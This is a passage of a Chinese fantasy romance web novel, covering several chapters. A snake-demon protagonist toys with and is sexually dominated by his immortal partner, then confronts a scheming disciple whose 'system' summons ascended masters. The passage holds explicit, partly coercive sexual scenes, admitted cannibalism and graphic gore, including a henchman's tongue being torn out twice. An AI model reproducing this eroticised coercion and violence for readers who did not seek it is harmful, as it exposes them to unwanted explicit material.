“好仙尊……”身着冰锦的美人如水波般软下腰,牵着对方的手放在自己小腹上,故意挤压着那处微微丰腴的地方,甚至连称呼都改了,“不,好夫君……我真能给你生蛋,你就让我吸一口嘛。” “……!” 光斑彻底铺满了整片披风,沈风麟再控制不下去,转身逃也似的离开了这处地方。 白玉京见状扭头嘲讽般看向窗外。 ……自以为天衣无缝的蠢货,自己之前怎么会瞎了眼养个这种东西? 不过那幽蓝色的光斑倒是和他先前猜想的一致,当光斑铺满披风之时,便是那披风失效之时…… 正当白玉京为自己的发现洋洋自得时,突然,下巴被人悍然抬起,凶狠到堪称残暴的吻瞬间铺天盖地的压了上来。 白玉京猝不及防间被人侵.入口腔,原本他还乖巧地张着嘴任人亲吻,可下一刻,他却瞳孔骤缩,蓦地攥紧对方手腕。 “嗯、轻……别、别揉……唔——” 别、别按……会伤到宝宝的—— 大片的领口随着摩擦尽数敞开,乌黑的发丝凌乱扫下,和那枚圆润可爱的玉蛇佩一起黏在胸口。 过了不知道多久,白玉京终于被人松开后,他的第一反应便是去遮自己的领口,然而动作刚做到一半,他却突然想起了什么,蓦地一顿。 玄冽的视线自上而下地扫来,白玉京眼珠一转,索性直接将双手撑在身前,故意把那处露出来,哼哼唧唧地撒娇道:“郎君好凶啊……都把卿卿的舌头给亲疼了。” 说着,他居然仰着脸轻轻吐出来一截舌头,让玄冽去看被亲到微微发肿的舌尖。 刹那间,梦中美人仰躺在王座上,被迫将舌头露出来供人亵玩的画面骤然浮现,玄冽呼吸猛地一滞,竟难得闭上了双眼。 白玉京见状仿佛发现什么新大陆一样,忍不住抬手想去触碰对方闭上的眼帘。 然而,指尖刚落在对方眼前,还没来得及触碰,便被人一把攥住,玄冽睁开眼一眨不眨地看向他:“你能产卵?” 简简单单的四个字,白玉京闻言却一僵,随即瞬间意识到这人又起了疑心,一时间忍不住在心头大骂。 只是一句调情的话而已,怎么也能被这破石头发现端倪?他的灵心难不成是莲藕做的吗?! 白玉京干笑了一下:“……只是想让那白眼狼赶紧滚所以编出来的胡话罢了,我一条雄蛇,怎么可能会生蛋呢。” 玄冽对他的解释无动于衷,显然不愿轻信他,就那么一只手攥着他的手腕,一只手摸上他的小腹,探究般继续揉弄起来。 “……!!” 玄冽若有所思道:“似乎胖了些。” “只是被郎君喂养出来的软肉罢了,里面可没有宝宝……”白玉京面上的表情险些没维持住,“郎君这么不依不饶,难道当真想看卿卿给你生蛋吗?” 玄冽不语。 白玉京见状眯了眯眼,故意道:“只是不知,仙尊到底是想看我大着肚子的模样,还是想看……卿卿在产卵时被撑开的模样?” “……” 玄冽原本泛起的疑心被他三言两语扰乱,嘴唇抿成一条线,呼吸明显乱了几分。 “不会被我说中了吧?”白玉京见状挑了挑眉,故意表现得十分不可思议:“没想到仙尊大人居然会有这种癖好呢。” 玄冽手上缓缓收紧力度:“本尊只是在惊奇,卿卿居然还懂这些。” 听着对方一开口便是酸意横生的模样,白玉京心下笑得打跌,面上却一副不知死活的样子继续道:“卿卿也只是听说的……还请仙尊勿怪。” 他俨然一副想把怀卵之事糊弄过去的样子,玄冽倒也不急,一边揉一边顺着他的话道:“听说了什么?” “传闻在藤黄小世界,曾有一名人族修士豢养了一条低阶的蛇妖。他特意让那蛇妖变作人身模样,日日裸着身体产假卵,以供他赏玩取乐。” “后来……那蛇妖将他吞吃入腹,搅碎骨血后吐出,变成了一团肉球。之后的一百年间,蛇妖一直用先前那些无法孵化的假卵饲养着那团肉球,以报他主人对他的养育之恩。” 说完这么一段令人毛骨悚然的故事,白玉京却灿烂地笑了一下:“不过……卿卿可不舍得这么对待仙尊。” 玄冽眸色发暗地看向他:“是么。” “我对仙尊之心日月可鉴,仙尊怎能疑我。”白玉京煞有其事道,“仙尊若真是想看,那不如——” “仙尊把灵心塞进去,卿卿产出来给你看呢?” 作者有话说: 今天有点爆字数,来晚了一点(跪) 是的,文案在意料之外的地方回收了! 第36章 怀疑 玄冽闻言不语, 只是上下打量了白玉京一番,最终把晦暗幽深的目光停在了那处没有鳞片覆盖的地方。 ……遭了,好像有点撩过了。 白玉京头皮一麻, 直觉告诉他,自己似乎要大事不妙了。 他非常有眼色地拧了腰就要跑, 可惜还是慢了一步。手腕上的玉镯蓦地发烫,竟瞬间重如千钧, 一下子把他的手坠在床榻间无法动弹。 “……!?” 这镯子怎么还有这种用途!? 前一刻还有恃无恐腻着人撒娇的小美人避无可避之下, 终于露出了几分惶恐, 颤抖着目光看向身上人, 干巴巴笑道:“仙尊……卿卿方才只是跟仙尊玩笑……” “是吗?” 积攒了良久的妒火在此刻燎原般展露出来, 玄冽攥住白玉京推在他肩膀上的另一只手, 轻而易举地按在床上。 如此任君采撷的模样让白玉京忍不住一颤, 连带着耳坠也跟着晃了三分。 不过似是吃了昨天的亏,他今日并未佩戴太多饰品。 玄冽从头到脚打量着他身上的首饰,一件件品鉴过去——耳坠上有锋利的部分,会划伤他, 不行;手镯正发挥着如镣铐般的作用, 不行…… 最终,在白玉京惊疑不定的目光中, 玄冽竟从他的胸口勾出了那枚长生佩。 憨态可掬的玉蛇还是幼年模样, 将此刻尚显年少的小美人一下子衬得熟艳起来。 ……这人想干什么!? 白玉京不可思议地看着对方将玉蛇摘下, 顺着鳞片一路向下…… 不、不行——!绝对不行! 那可是他百年中唯一的寄托,是他幼蛇时便……怎么能被如此亵渎……!? 不久前还游刃有余的美人此刻仿佛被什么东西击碎了一样, 呜咽着挣扎起来, 甚至比看到自己被玉环欺负时的反应还要大。 “别……卿卿错了, 真的错了……不可以, 真的不行,求仙尊开恩——!” 白玉京啜泣着探手下去挡,仿佛那不是一枚平平无奇的长生佩,而是什么不可亵渎的圣物。 他对那死物的重视程度甚至远超天性,以至于在意乱情迷之下,他甚至可以因此违背本能,拒绝伴侣的要求。 玄冽知道他重视这枚长生佩,却没想到他会有这么大的反应,不由得眯了眯眼。 ……真碍眼啊,这坠子凭什么能得到他的青睐?还有那耀武扬威的镯子也是,好想把它们全部毁掉。 ……不对。 意识到自己居然连切下来的本体都妒忌后,玄冽当即一顿,眼底骤然泛过一丝红痕。 妒心越发浓重,控制不住地想要占有——是十年之期将至的征兆。 甚至这一轮还不足十年,随着时间的推移,轮回的周期果然在逐渐变短。 只要一想到十年来积攒起的情绪将再一次如流水般逝去,密密麻麻的妒忌与不甘便不受控制地尽数泛起。 嫉妒数百年前拥有一切却不知道珍惜的自己,嫉妒分割出去可以肆无忌惮的本体…… 白玉京喘息着抬眸,有些不明所以地看向身上莫名冷下脸色的男人。 ……因为自己的拒绝,所以夫君生气了吗? 正当他颤抖着尾尖在心中天人交战时,玄冽竟大发慈悲将那枚玉佩拿了出来。 白玉京还以为他良心发现打算放过自己了,蓦地舒了口气,连忙抬手去接玉佩。 却见短短几息的时间内,虽然他因为惊吓与珍重还没有彻底动情,但那只可爱的小蛇还是被染上了几分汁水。 “……” 白玉京瞬间羞红了脸色,仿佛亵渎了神明一般,拎起袖子就想去擦。 然而,玄冽却在此刻突然割开手腕,用心头血一下子浸透了那枚湿漉漉的玉佩。 “……!” 白玉京不可思议地僵在原地,隔着那枚鲜血淋漓的玉佩,震惊地看向面无表情的玄冽。 “不是饿了吗。”玄冽面不改色道,“吃吧。” 他的语气无比平静,就仿佛用长生佩做餐具是什么理所当然的事一样。 但此刻不是在梦中,白玉京也没有被他篡改常识,一时间仿佛被他吓傻了一样,就那么呆愣在原地。 怎么能用长生佩进食……况且不止有心头血,还有他自己的……他自己的…… 美人在巨大的诱惑下睫毛微颤,锦袍顺着肩膀滑下了几分,他却没空去管。暴露在外面的锁骨不受控制地颤抖着,显然是食欲和羞耻心正在争抢着他的理智。 “卿卿打算浪费吗?” 不能浪费、宝宝还饿着……不能浪费…… 此念头一出,白玉京骤然想起了不久前为了帮他而变得无比虚弱的小天道,愧疚掺杂着食欲终于战胜了羞耻心。 他闭上眼心一横,探出舌尖便舔了上去。 然而,有些事情并非狠下心就能做到底的。 蛇妖无比灵敏的嗅觉让他在舔上去的一瞬间便瞬间炸了鳞片。 浓郁的心头血之下,甜腻中带着微妙的味道泛了上来,白玉京越是想要忽视,那味道反而越是明显。 半闭着眼强迫自己吞咽,原本还算端庄的坐姿却逐渐变得摇摇欲坠。 那是他的……他的…… 舌尖舔吃着心头血,期间自然而然地也舔过那圆润可爱的玉蛇。 就像是当着夫君的面,用舔舐的方式抚慰自己一样……不可以、哪怕是自己也不行……这是不忠贞的行为…… 饱食的愉悦混杂着自渎的羞耻让他几乎呼吸不上来,哪怕是闭上眼也被生生逼出了泪光,挂在睫毛上不住轻颤。 玄冽眸色发暗地看着他在颤抖间逐渐水光一片的蛇尾,突然道:“我曾经也听过一则传闻。” 白玉京尚未意识到这句话背后所藏的险恶,闻言下意识抬眸看向他,眼底尽是餍足与茫然。 “据说蛇类在产卵之后,若是一时难以闭合,便会自行舔舐,以帮助身体尽快恢复。” “——!?” 尚未生育过的小蛇闻言一下子被吓得呆滞在原地,完全没意识到这人一副正经的口吻其实是在哄骗自己。 白玉京回神之后面色爆红,羞耻得险些昏过去,随即竟主动将蛇尾变回了人身,说什么也不愿再露出来给玄冽看。 太羞耻了、不要……绝对不要当着夫君的面自己舔…… “骗你的。”玄冽抬手撩起他鬓边湿透的发丝别在耳后,“饱了吗?” “……” 被欺负出阴影的小美人不受控制地一颤,随即乖巧无比地点了点头,夹紧双腿端庄地垂眸坐着,仿佛刚刚那个不知死活一直在撩拨玄冽的人不存在一样。 ……太可怕了,这心眼比莲藕还多的石头真的太可怕了。 玄冽抬手将他抱到怀中,白玉京心下一颤,大腿不受控制地夹紧,生怕对方再欺负他,连忙谈论起正事:“仙尊,方才沈风麟所言中提到他有办法拿到祈星石。可若是我们直接将祈星石藏匿,他恐怕会起疑……” 玄冽闻言点头道:“我已经让千机将祈星石替换过了,卿卿不必担忧此事。” ……什么时候的事? 白玉京一怔,不过很快他便意识到,恐怕是先前他和沈风麟交流时,这人便在第一时间将事情安排了下去。 ……果然好恐怖一个石头。 感受到手下传来的细密颤抖,玄冽低下头,明知故问道:“怎么?” “没什么……”小美人温顺地低下头,露出一截柔软洁白的脖颈,“只是觉得仙尊大人算无遗策,当真厉害。” 玄冽一眼便看穿了他的心思:“卿卿害怕?” 白玉京:“……” ……你说呢? 有你这样心眼如马蜂窝一样的夫君,天天穿衣服跟没穿一样,迈哪只脚都能被猜到,谁能不害怕? 白玉京强行压下心头那股除了惶恐之外更明显的悸动,硬是装作懵懂无知的样子笑道:“……怎么会呢,只是感觉在仙尊面前,卿卿好像被看透了一样。” 玄冽闻言不语,只是垂眸打量了他一下。 ……? ……!! 白玉京怔了须臾后脸色爆红,瞬间意识到了对方那一眼的深意。 ……可不是被看透了!别说穿没穿衣服了,连里面都被人看得一清二楚了! 白玉京在心中狂骂,面上却端庄得再不敢撩拨玄冽一下:“仙尊今日曾言,祈星石实际上是初代灵主被摔碎的灵心?” “是。”玄冽道,“他的另一半灵心便是灵族的圣心石。” 白玉京道:“能让我看一眼吗?” 玄冽正准备单手结阵时,突然,两道神识传音几乎是同时飘进竹屋传到两人耳中:【吾皇,望清荷以一种诡异的方式逃跑了。】 “……!” 白玉京面色一变,下一刻便听玄冽道:“霜华妖王传来消息,那个女修从她的监视下逃跑了。” “……她叫望清荷,先前沈风麟似乎用了些许手段,让她学会了九韶的玲珑心。”白玉京攥紧手心,有些自责道,“是我的疏忽,竟把这件事给忘了。她一旦回来,我杀了杜惊春的事恐怕马上就会被沈风麟知道……” 白玉京正思索着对策,玄冽轻轻攥住了他的手:“不是你的错,区区小事罢了,也不必紧张。” 说着便带他起身,白玉京忙回神道:“去哪?” 玄冽低头替他拢紧衣襟:“去找千机。” 第二日清晨,星竹苑的天刚蒙蒙亮,白玉京便不出意外地收到了沈风麟的神识传音:【劳烦师尊到观星洞一趟,还请师尊务必一人前来,不要将此事透露给任何人。】 白玉京只身一人到达观星洞时,却发现山洞内除了沈风麟外还有两人,不过都是熟人。 看到他当真敢一个人来赴约,除沈风麟之外的两人皆是一怔,尤其是望清荷,脸色一下子吓得惨白,整个人几乎要瘫倒在地。 至于流明,他很快便收敛了面上的诧异,用一副轻蔑却藏不住恶意的目光上下打量着白玉京。 而在三人身后,祈星阵不知何时已经启动,那枚被千机替换过的祈星石赝品正飘在阵法之中。 ——千机那不靠谱的老王八,他不是信誓旦旦说什么哪怕是赝品也需要经过他亲自祷祝才能显现吗? 白玉京扫视一圈后收回视线,看向沈风麟冷淡道:“你先前口口声声说不需要我帮忙,眼下这是何意?” 沈风麟忙行礼道:“事发突然,仓促之间请师尊前来,还请师尊见谅。” 白玉京冷声道:“不必跟本座虚与委蛇,有屁就放。” 流明面色一沉,张口就要骂什么,却被沈风麟抬手拦下:“清荷说,是您杀了惊春,徒儿不信师尊竟会做出此等事来,故邀您前来以正清白。” 果然是为杜惊春一事向他兴师问罪,和他来之前猜的一模一样。 白玉京冷笑道:“是我杀的,你待如何?” 沈风麟根本没想到他会直接承认,闻言不可思议地一僵,剩余两人也被他这幅坦荡无比的姿态给惊呆了。 作为当事人,望清荷率先回神,颤声质问道:“您为什么要杀他!?都说虎毒尚且不食子,我们好歹也是您亲手教养过的孩子,您怎么狠得下心,竟……竟将惊春活生生吞下!” 说到最后她近乎崩溃,似乎再次回忆起当时那可怖而残忍的一幕,整个人看起来甚至有些失常。 白玉京闻言却无比淡漠地纠正道:“我喉咙浅,吃不下活人,把他杀死后再吃的。” “我没有那种把玩食物的癖好,别误会。” ……他承认了……他就这么承认了?! 望清荷不可思议地僵在原地,一时间忘了自己该说什么,就那么惊恐地看向白玉京。 不知是有意还是无意,白玉京今日穿了件素白的衣袍,唯独手腕间戴着血玉做的玉镯,像极了那晚雪色中唯一的一捧血色。 面容秾艳的美人残忍而淡漠地站在那里,使得他身上那股冷血又妖冶的非人感一下子达到了巅峰。 望清荷吓得魂飞魄散,寻求庇护般扭头看向沈风麟,却见对方丝毫没有座下之人被残忍杀害的惊怒,反而透着股莫名的恍然。 原来师尊并非没有恨意……原来他也会厌恶自己亲手教养过的杜惊春。 可他为什么只选择杀死杜惊春,却没有对自己出手呢? 沈风麟思考了片刻后突然恍然大悟。 师尊对自己并非没有恨意,他对自己座下之人尚且如此,又何况对自己呢? 只不过,他对自己的爱意终究压过了那些恨,让他不舍得对自己下手,只能将怨恨发泄在其他人身上。 是了,一定是这样的。 白玉京不可能知道系统的存在,他若是真的憎恶自己到了极致,大可以将事情对玄冽全盘托出,可他却没有那么做…… 沈风麟越想越觉得自己刚刚因为流明几句话便生出的怀疑非常没有道理。 “你喊我来便是为了这件小事吗?”白玉京冷淡的声音打断了他自顾自的思考,“杜惊春是我杀的,我现在可以走了吗?” 流明怒极:“你……!” “不,在场只有您见过真正的祈星石。”沈风麟抬手示意流明闭嘴,“徒儿只是想劳烦您帮我们辨认一下,如今从祈星阵中召唤出来的祈星石,和您昨日所见的是否是同一枚。” 白玉京闻言几不可见地眯了眯眼。 他之前就在怀疑,沈风麟这卖师求荣的货色怎么会为一个小小的杜惊春如此兴师动众? 如今看来,杜惊春事小,用此事试探白玉京恐怕才是沈风麟真正的目的。 想到这里,白玉京抬眸轻飘飘地看了望清荷一眼。 望清荷一怔,脑海中蓦地想起了什么,一时间如坠冰窟。 ——“不要告诉沈风麟,不然下一个就是你了……小荷。” 白玉京收回目光,走到祈星阵前,面不改色地拿起那枚假的祈星石,翻看了两下后道:“是同一枚。” 说着,他便要将赝品放回到祈星阵中。 然而,沈风麟下一句却道:“既是真的,那徒儿便在此直接启动巫族召唤阵,请师尊一观。” “……” “在巫族腹地启动召唤阵,你当玄冽和千机都是死人吗?”白玉京抬眸嗤笑道,“你到底是为了请我观阵,还是想置我于死地?” 沈风麟闻言干笑一声,刚想解释,下一刻却见白玉京攥住祈星石,转身便向山洞外走去。 “——!” 沈风麟面色骤变,运起灵力当即掐诀,挥手间一团如炽阳般的烈焰蓦然堵在洞口。 白玉京脚步一顿,却听身后传来少年人沉下声色的威胁:“徒儿绝无陷害师尊之意,还请师尊留步。” 那团烈焰将整个观星洞照耀得格外明澈,白玉京停下脚步,转身看向神色各异的三人。 沈风麟口口声声说绝无陷害他的意图,眼下却一步步向他逼近。 白玉京等他快要走到面前时,才不紧不慢地举起手腕,亮出在火光下熠熠生辉的血玉镯。 沈风麟见状呼吸一滞,蓦地停下脚步。 “这是玄冽送我的玉镯,本质上是将我锁在他身边的镣铐。”白玉京云淡风轻地编排着玄冽,“只要我离开他十里,并且企图把这枚镯子摘下,它便会立刻爆炸,其威力堪比合体期修士自爆。” 他信口开河,将玄天仙尊的形象编排得异常精彩,但山洞内的其他人却不敢轻视,闻言纷纷僵在原地不敢擅动。 “你既疑我,那师徒缘分便就此作罢。”白玉京垂下手遮住玉镯,“我不会将此事告诉玄冽,你好自为之。” “……等等!” 沈风麟连忙道:“徒儿知道师尊对先前之事耿耿于怀,若非他二人执意如此,徒儿也不愿轻疑师尊,还请师尊勿怪!” 其余两人闻言一怔,皆不可思议地扭头看向他。 白玉京也转过身看向他。 沈风麟一咬牙道:“只要召唤阵能顺利启动,惊春一事既往不咎,徒儿愿为师尊负荆请罪!” 流明惊愕至极:“老祖,一条人命怎可如此草菅——” 沈风麟怒道:“闭嘴!” 流明不得已闭上嘴,扭头带着鲜明的怒火与恨意看向白玉京。 风麟年幼,都是因为这个蛇妖……都是因为这个蛇妖,风麟才会将他们这些兄弟置于不顾! “本座不需要你负荆请罪,不用在这里惺惺作态。”白玉京冷声道,“巫族腹地启动召唤阵,本座不知道你打算召唤什么东西,但你倘若真能召唤出一个比千机更强的巫族大能,你猜玄冽几息能赶到?” 沈风麟连忙道:“召唤阵并非瞬间召唤,只要阵法正常运作,便可证明祈星石为真,还师尊一个清白!” ——看来这召唤阵的启动速度并没有那么快。 白玉京心下一转,面上则捏着手中的假石陷入了沉吟,半晌道:“我可以把祈星石给你,作为交换……” 他看向流明,眼底凶光一闪而过:“你让他把长生佩还给我。” “好。”沈风麟并未和手下之人一起去八宝,还不知道出了什么事,扭头便和流明道,“流明,把那枚玉蛇模样的长生佩还给师尊。” 流明显然没料到事情怎么会突然间扯到他头上,面色一下子变得难看至极:“……回老祖,那枚玉佩在八宝小世界时,被属下作为筹码输给了其他人。” 沈风麟一愣:“你说什么?” 流明一咬牙道:“在如意坊中,属下为了替您打探弱水的消息,在箴言区将那枚玉佩当作筹码输给了对弈者。” 听他说得有理有据,沈风麟面上凝重的表情不由得缓和了几分:“原来是这样……” 白玉京却在此刻不紧不慢道:“那可是我年幼之时恩公亲自送给我的玉佩,你拿走不说,居然随随便便地便将他输掉了?” 他声音很轻,流明却突然感受到了一股瘆人的凉意。 ——不对,他要杀我。 白玉京要杀我……就和他先前杀杜惊春一样! 此念头一出,恐惧就像是破土而出的蚂蚁一样,密密麻麻地吞噬起流明的理智。 他为什么会在这时候突然提起玉蛇佩?他怎么知道自己把玉蛇佩输给了别人? 他绝对是故意提及此事的,他要杀我…… “玉佩一事……” 沈风麟刚开口准备和稀泥,流明便如同惊弓之鸟般脱口而出:“老祖,他是在故意拖延时间!他手里那枚祈星石绝对是假的!” 沈风麟一顿,白玉京掀起眼帘冷冷地看向他。 那一瞬间,流明感觉自己好似被一条巨蟒盯上一般,竟被吓得口不择言道:“风麟,他早就被那老东西操熟了!这绝对是他们给你下的连环计!” 此话一出,整个观星洞内鸦雀无声,连魂不守舍以为自己马上就要命不久矣的望清荷都被他突如其来的疯癫发言给震惊到了。 沈风麟回神后震怒:“流明,你在胡言乱语什么!住口!” “你闭嘴,让他继续。”白玉京却似笑非笑道:“也让本座好好听听,本座不在的这一个月,某些人是如何编排本座的。” “……他杀了惊春!若不是有您的流云衣,清荷说不定都要葬送在霜华!”流明指着游刃有余的白玉京破口大骂道,“他早就被人给睡服了!肯定是那人指使他的!您还不明白吗?!” “他手上戴着玄冽给他的玉镯,扒了衣服指不定其他地方还挂着什么环!” 这句话让原本犹豫不决的沈风麟一下子冷下了脸色——他显然是想到了前夜时,白玉京为了哄玄冽喝酒故意说的那句话。 眼见沈风麟似乎有回心转意的迹象,流明连忙趁热打铁道:“蛇妖就是这样的,老祖,你把他当个宝一样碰都不舍得碰,到了别人床上就是个玩物,他从内到外都被人玩遍了,你还敢轻信他……” 化神期修为骤然在山洞内爆开,沈风麟冷声道:“流明,休得在此胡言乱语。” 白玉京冷眼旁观,只见沈风麟只打雷不下雨,便知道这人刚消下去的怀疑因为流明一番话,又生了出来。 通天蛇天性忠贞慕强,天下人都知道这意味着什么,他们一旦认定了伴侣,便是至死不渝。 哪怕在沈风麟眼中,信誓旦旦地认为是玄冽强迫了他的师尊,可又能如何呢? 如今鬼道式微,妖族无主,阿修罗王虽善战却也不是玄冽对手,自妖皇陨落、人皇飞升之后,玄天仙尊可是真正的三千界第一人。 对于天生慕强的通天蛇来说,说不定越是强迫,他沦陷得反倒越快,爱上对方完全是情理之中的事情。 想到这里,沈风麟面色微动,身上幽蓝色的光幕一闪而过。 【宿主是否启用读心功能?剩余次数1/1,请宿主谨慎决策。】 “……!” ……系统怎么还有这种功能!? 白玉京闻言心下猛地一跳,连忙在心底道:【妙妙?妙妙!快醒醒!】 然而,昨天才消耗了良多的小天道此刻正在沉睡中,一时半会儿喊不醒。 流明显然也看出了沈风麟的犹豫,当即斩钉截铁道:“老祖,他手中的祈星石绝对是假的,他现在不过是在拖延时间等玄冽来救他!不然你以为他为什么在这种十万火急的时候,突然要找什么玉蛇佩?!” 沈风麟闻言一顿,显然那读心的功能无比珍贵,他尚且有些犹豫:“师尊,劳烦您先把祈星石交给我,玉蛇佩一事,徒儿日后定帮您寻回。” 白玉京冷眼旁观。 “他不敢回答,老祖!” 流明恨铁不成钢道:“他们蛇妖,尤其是通天蛇妖,天性便是如此□□不堪!那渡劫期的妖皇尚不能克制自己,连养女都能淫,你难道相信他跟了玄冽这么久,还是个处子——” “啊——!” 他话说到一半,突然一声非人般的惨叫混着一团软肉从他口中飞溅而出,沈风麟与望清荷皆被吓了一跳。 却见流明的舌头竟被白玉京硬生生挖了下来,砸在地上宛如一滩烂肉! “——!” 望清荷捂着嘴发出了一声无声的尖叫,像是被吓出了阴影一般,蓦地跌倒在地上。 沈风麟眉心一跳,可不知怎的,居然没有出手制止。 ……若是师尊当真被自己冤枉,让他将怒火发泄在流明身上,事后或许不会那么怨恨自己。 听闻流明编排自己和玄冽时白玉京无动于衷,可听到此人居然敢污蔑宋青羽,他的神色彻底冷了下来。 白玉京抬脚走到他面前,缓缓俯下身,美人垂首本该是极美的一幕,可落在流明眼中,却好似巨蟒于他面前俯身一样恐怖:“你我之间打个赌如何?” “我把这枚祈星石放在你们的召唤阵里,若是能把你要的东西召唤出来,算我赢。” “若是召唤不出来,算你赢。” 流明嘶吼着呕吐着鲜血却发不出任何声音,白玉京故作了然道:“忘了你说不了话。” 言罢,他抬手打了个响指,流明便长出了新的舌头。 他疼得面色狰狞,却扭头一吐血,猛地抬手掐住白玉京的脖子,狠毒地看向他:“我若是赢了,你待如何?” 白玉京垂眸道:“你定。” 流明厉声道:“我要你认老祖为主,永世为奴!” 沈风麟面色一变,随即连忙压下嘴角的笑意:“流明,怎可如此羞辱师尊!” 白玉京懒得看他装模作样,淡淡道:“可以。” “这怎么能叫羞辱?他区区金丹修为能给您当妖宠,是他的福——” 下一刻,那新长出来的舌头却被再次剜下,砸在地上和先前的那段舌头一起蠕动在血泊中。 “本座只问了你两句,没让你说第三句话。” 流明对他怒目而视,喉咙之间的咆哮宛如嘶吼。 望清荷惊恐至极地看着眼前的一幕,她回神后的第一反应是扭头看向全程只是开口制止,却对手下的惨状无动于衷的沈风麟,心下不由得泛起了一股更深的毛骨悚然。 他们这些手下在沈风麟眼中……真的算是人吗? “哦,你想问若是本座赢了怎么办?” 望清荷闻声回过头,却见面对流明的嘶吼,那染血的美人露出了一个天真且残忍的笑容:“本座饿了。” “所以,本座要你的命。” 作者有话说: 小蛇就这样暴打黄谣狗[摸头] 第37章 序幕 观星洞内鸦雀无声。 原本嘶吼的流明听闻此话后, 不知为何骤然安静下来。 白玉京眯了眯眼,却见流明缓缓起身,周身的气息蓦地发生了微妙的变化。 ——金丹期。 三百年未曾突破的流明, 竟在短短一个月内,和沈风麟一样完成了突破。 而且他的气息掩藏得异常好, 连以嗅觉闻名的通天蛇都没能闻出丝毫异样。 ……怪不得他方才敢以那种语气和自己说话。 白玉京不由得冷下眸色。 流明尚且能隐藏实力,那沈风麟呢?他当真只是化神期吗? 流明反手抹了下嘴角的鲜血, 见沈风麟没有阻挡自己展露实力的意思, 便直接吐出口中鲜血, 长出舌头道:“我赌。” 白玉京冷眼看向他。 自以为扮猪吃老虎的剑修, 看着眼前无动于衷的美人, 露出了一个含血的笑容:“不是要赌吗?怎么不说话了?难道是做贼心虚——” “三百年了。”白玉京淡淡打断他道, “恭喜你终于跻身金丹。” “……!” 骤然被戳到痛脚, 流明面色间蓦地闪过一阵扭曲:“别想着用你那点伎俩拖延时间了!你手中那枚根本就不可能是真正的祈星石!” 流明此刻有足够的自信,哪怕他的判断当真出错,只要沈风麟不出手,同为金丹, 他势必能胜过白玉京。 剑修可是同境界之下无可匹敌的存在, 白玉京便是通天蛇妖又能如何? 他尚未成熟,一条幼蛇而已, 不可能胜过自己。 “开始布置你的阵法吧。”白玉京根本没接他的话, 扭头对沈风麟道, “让本座也见识见识,你引以为傲的召唤阵到底是什么样子。” 流明见他如此平静, 不由得冷笑道:“不用强作镇定了, 这次没人会来救你。” 白玉京看都没看他一眼, 就那么面色冷静地看向沈风麟。 却见对方身上再次浮现了那抹诡异的幽蓝色光幕, 这一次因为靠得更近,所以看得更清楚了一些。 沈风麟装作起阵的样子在那光幕上滑动了几下,随即,那道空灵而冰冷的熟悉声音响起:【请宿主按照指示摆放巫族召唤阵。】 言罢,幽蓝色的光幕竟暂时从沈风麟身上飘开,落在祈星阵前方的空地上,形成了一个……五角向外的怪异图形。 沈风麟按照光幕的指示开始起阵,看着眼前逐渐成型的召唤阵,白玉京脑海中却不由自主地想起来了不久之前的场景。 ——“把祈星石交给他。” “……您说什么?” 面对突如其来的不速之客,千机一个激灵,连忙掀开自己的龟壳面具:“老朽已经按照您的吩咐替换了祈星石,不可能有人能发现端倪!” “连姽瑶的旨意都能被篡改,你怎么保证无人认出那是赝品?”玄冽冷冷道,“把祈星石给他,别让本尊说第二次。” ……所以,连眼下的一切也在你的算计之内吗?臭石头。 白玉京忍不住眯了眯眼。 他是想不明白那么多弯弯绕绕,可眼下他却仅凭直觉便意识到了不对劲。 玄冽就是灵心之内长了一个马蜂窝,但他既没有小天道加持,又看不见沈风麟身上的系统,他为什么能算无遗策到这种程度? 还是说……除了身份和灵心外,玄冽还瞒了他别的什么? “师尊,召唤阵已经布置完毕。”沈风麟的声音将他拉回了现实,“还请师尊放置祈星石。” 白玉京闻言回神,在流明近乎嘲讽的目光中,抬脚走到召唤阵面前,垂眸看向那圈奇怪的阵法。 五角向外如尖刺般凸起,镇眼倒是和传统召唤阵一样处在正中央,可整个阵法只有生门没有死门,三千世界中,白玉京从来没见过哪个召唤阵是眼下这种模样。 流明见他半晌没有动作,当即嗤笑道:“老祖,他知道自己拿的是赝品,所以不敢放。” 白玉京闻声回神,抬手将已经与赝品替换过的真祈星石放进阵眼中。 磅礴的灵力蓦地向镇眼中灌入,流明见状面色一变,有些不可思议地睁大眼睛。 下一刻,熟悉的冰冷声音响起:【巫族召唤阵加载完毕,核心:祈星石。】 【灵力储备:100%,召唤阵等级:lv5,开放角色等级:五星,剩余召唤次数:1次。】 【请选择您要召唤的五星角色。】 ……召唤阵等级?五星角色?什么意思? 白玉京正在心中蹙眉,还没待他思考明白,便听沈风麟以一种和系统一样的方式道:【有请,大巫姽瑶。】 ……!? 白玉京不可思议地睁大眼睛,整个人骤然僵在原地。 ……谁? 沈风麟要召唤谁? 【对不起,“姽瑶”为六星角色,召唤阵等级不足,请宿主重新选择。】 沈风麟咬了咬牙,不信邪一般道:【有请,金戈妖皇。】 【对不起,该召唤阵为巫族五星召唤阵,无法召唤其他种族或其他等级角色,请宿主重新选择。】 沈风麟面色明显出现了一丝不虞,手下不禁缓缓攥紧。 ——望清荷空手而归,妖族召唤阵没办法启动,如今只靠区区鬼巫两张五星卡,拼得过玄冽吗? 可是,再不动手就来不及了…… 最终,沈风麟咬着牙改口道:【有请,司木大巫句芒。】 【召唤五星角色“句芒”,阵法启动中,请稍后。】 那诡异的阵法当即浮现出黑色光芒,与祈星石的颜色刚好对应,白玉京攥紧手心站在原地,一时间脑海中爆开无数信息,根本顾不得观察这些异样。 ——金戈妖皇本体六翼金雕,四千年前飞升;司木大巫句芒,三千年前飞升。 这二位皆是近万年间有名的善战之主,显然沈风麟在没办法召唤姽瑶的情况下,退而求其次选择了他们,以求胜过玄冽。 只可惜他没能拿到精卫石,没办法启动妖族召唤阵,因此只能再退一步,仅召唤句芒。 可他没办法召唤,似乎只是受限于等级约束,并非这些大能无法被召唤。 白玉京蹙眉,在心底依次回忆起沈风麟声称过能过被召唤的大能。 大巫姽瑶,古今飞升第一人;金戈妖皇,四千年前飞升;司木大巫句芒,三千年前飞升;还有明面上生死不明的碧魂阎罗闻楚衡…… 可联系前面三位大能,如今再回头看,碧魂到底是生死不明,还是悄无声息地选择了飞升? 就像……人皇宋青羽一样。 这个名字一出,白玉京蓦地一震,像是被人从头到脚泼了一盆凉水般僵在原地。 不会的,青羽已经强到足以和自己跟玄冽匹敌,不可能会…… 可是,不知道是小天道的成长带来的影响,还是自己成熟后记忆力终于有所见长,白玉京在这一刻无比清晰地想起了在元婴大典上听到的那句话。 【人族修士“宋青羽”收集完毕,渡劫期修士收集进度8/9,已收集种族:人族、妖族、鬼族、修罗族、巫族。】 